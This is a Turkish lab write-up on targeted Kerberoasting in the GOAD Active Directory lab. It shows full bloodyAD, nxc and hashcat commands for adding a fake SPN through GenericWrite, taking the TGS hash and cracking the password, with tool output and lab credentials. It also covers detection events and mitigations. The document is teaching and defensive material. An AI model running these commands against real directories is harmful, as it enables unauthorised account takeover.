Kerberoasting, ama hedefi sen seçersin
Sıradan Kerberoasting yalnızca zaten bir Service Principal Name taşıyan hesaplarda çalışır — dünyanın sql_svc ve jon.snow gibi hesapları. Elinde Kerberoast edilecek bir servis hesabı yoksa ya da SPN taşıyan hesapların hepsinin kırılamaz parolaları varsa, beklemekten başka yapacak bir şey yoktur.
Bir kullanıcı üzerinde yazma hakkın varsa durum değişir. GenericWrite (veya GenericAll) bir hedefin özniteliklerini düzenlemeni sağlar; servicePrincipalName de yalnızca bir özniteliktir. Bir kullanıcıya SPN eklediğinde o hesap aniden Kerberoast edilebilir hale gelir — TGS’si hesabın parola hash’iyle şifrelenir ve sen bunu çevrimdışı kırarsın. Artık zayıf bir servis hesabının ortaya çıkmasını beklemiyorsun; hangi zayıf parolalı kullanıcıyı roast edeceğini kendin seçiyorsun. Bu, saldırıyı pasif bir fırsat avından aktif, hedefli bir işleme dönüştürür.
Geriye tek soru kalır: hangi kullanıcıya yazabildiğin. essos.local ortamında missandei, viserys.targaryen üzerinde GenericWrite hakkına sahiptir — Bölüm 4’te izlediğimiz kenarın aynısı. Bu tür bir yazma hakkı, çoğu zaman zararsız bir yönetim izni gibi görünür; oysa doğru öznitelikle birleştiğinde doğrudan hesap devralmaya dönüşebilir.
SPN’i yazmak
bloodyAD, özniteliği LDAP üzerinden tek seferde yazar:
$ bloodyAD -u missandei -p fr3edom -d essos.local --host 192.168.56.12 \
set object "viserys.targaryen" servicePrincipalName -v "HTTP/fakesvc.essos.local"
[+] viserys.targaryen’s servicePrincipalName has been updated
viserys.targaryen artık bir SPN taşıyor. Bu tek yazma işlemi ön koşulun tamamıdır — gerisi sıradan Kerberoasting’den ibarettir. SPN’in gerçek bir servise işaret etmesi gerekmez; KDC yalnızca özniteliğin var olmasına bakar ve bilet isteğini o hesabın anahtarıyla şifreleyerek yanıtlar. Bu yüzden sahte bir SPN, gerçek bir servis kadar işe yarar.
Az önce yarattığın hedefi roast etmek
TGS’yi iste ve kır:
$ nxc ldap 192.168.56.12 -u missandei -p fr3edom --kerberoast force_tgs.txt
LDAP [+] essos.local\missandei:fr3edom
LDAP $krb5tgs$23$*viserys.targaryen$ESSOS.LOCAL$...*$cc284a89c4f8a5864d90a1dc37a43145$...
$ hashcat -m 13100 force_tgs.txt /usr/share/wordlists/rockyou.txt --force
$krb5tgs$23$*viserys.targaryen$...:GoldCrown
Sonuç GoldCrown. Parola zayıf olduğu için zorla eklenen SPN, bir GenericWrite hakkını geçerli bir hesap ele geçirmeye dönüştürdü. Bunu daha önce kullandığımız shadow-credentials yolundan ayıran noktaya dikkat et: burada AD CS de yok, PKINIT de yok. Yöntem yalnızca hedefin parolası kırılabilir olduğunda işe yarar — ki hedefli bir Kerberoast tam olarak bu durum için tasarlanmıştır.
İki teknik birbirini tamamlar. Shadow credentials, parola gücüne bakmaksızın bir hesabı ele geçirir ama çalışan bir CA’ya dayanır. Zorla-SPN Kerberoasting ise CA olmadan çalışır, ancak güçlü bir parola karşısında tıkanır. İkisini birlikte düşündüğünde, bir GenericWrite kenarı seni nadiren saldırı yolu olmadan bırakır: hedefin parolası zayıfsa Kerberoast, değilse shadow credentials devreye girer.
Tespit ve çözüm
Tespit: Yazma işlemi, servicePrincipalName üzerinde bir 5136 olayıdır — normal bir kullanıcının aniden SPN kazanması yüksek sesli bir sinyaldir; özellikle SPN değeri gerçek bir servis yerine bir yer tutucuysa (HTTP/fakesvc...). Roast’un kendisi ise her zamanki Kerberoasting ipucudur: yeni oluşturulan SPN’e karşı RC4 (etype 23) için bir 4769 TGS isteği.
Kontrol: Sıradan kullanıcılar arasındaki GenericWrite/GenericAll ACE’lerini kaldır (Bölüm 3’te yaptığımız budama gibi), servicePrincipalName üzerine yapılan 5136 yazmalarını izle ve zorla eklenen bir SPN’in hiçbir yere varmaması için güçlü parolaları zorunlu kıl. Bu üç önlem birlikte çalışır: ACE’yi kaldırmak saldırının ön koşulunu yok eder, izleme yazmayı yakalar, güçlü parola ise yazma gerçekleşse bile sonucu etkisiz kılar. Tutmaya değer bir temizlik alışkanlığı da şudur: engagement bittikten sonra eklediğin SPN’i sil; aksi halde geride kalıcı ve gereksiz bir saldırı yüzeyi bırakırsın.
Özet
| Adım | Araç | Sonuç |
|---|---|---|
| SPN’i yaz | bloodyAD set object <user> servicePrincipalName | hedef artık Kerberoast edilebilir |
| Roast et | nxc ldap ... --kerberoast | TGS hash |
| Kır | hashcat -m 13100 | kullanıcının parolası |
Kanıt ve sınırlar
Zorla yazılan servicePrincipalName değeri (HTTP/fakesvc.essos.local), TGS isteği ve çevrimdışı hashcat kırma işlemi, izole GOAD laboratuvarındaki MEEREEN (192.168.56.12) üzerinde viserys.targaryen hesabına karşı yürütülmüştür. Eklenen sentetik SPN, doğrulama tamamlandıktan sonra kaldırılmıştır; böylece laboratuvar temiz durumuna döndürülmüştür.
Referanslar
- Orange Cyberdefense, GOAD: orange-cyberdefense.github.io/GOAD
- The Hacker Recipes, Kerberoast: thehacker.recipes/ad/movement/kerberos/kerberoast
- HackTricks, Kerberoast: book.hacktricks.xyz
- MITRE ATT&CK, Kerberoasting (T1558.003): attack.mitre.org/techniques/T1558/003
Bu teknik not ne kadar güncel?
En son kaynak incelemesi, içerik güncellemesi veya yayın tarihi gösterilmektedir.
Birincil kamu kayıtları kontrol edildi. Ortama özgü davranış, ayrıca yeniden üretilmedikçe iddianın dışındadır.

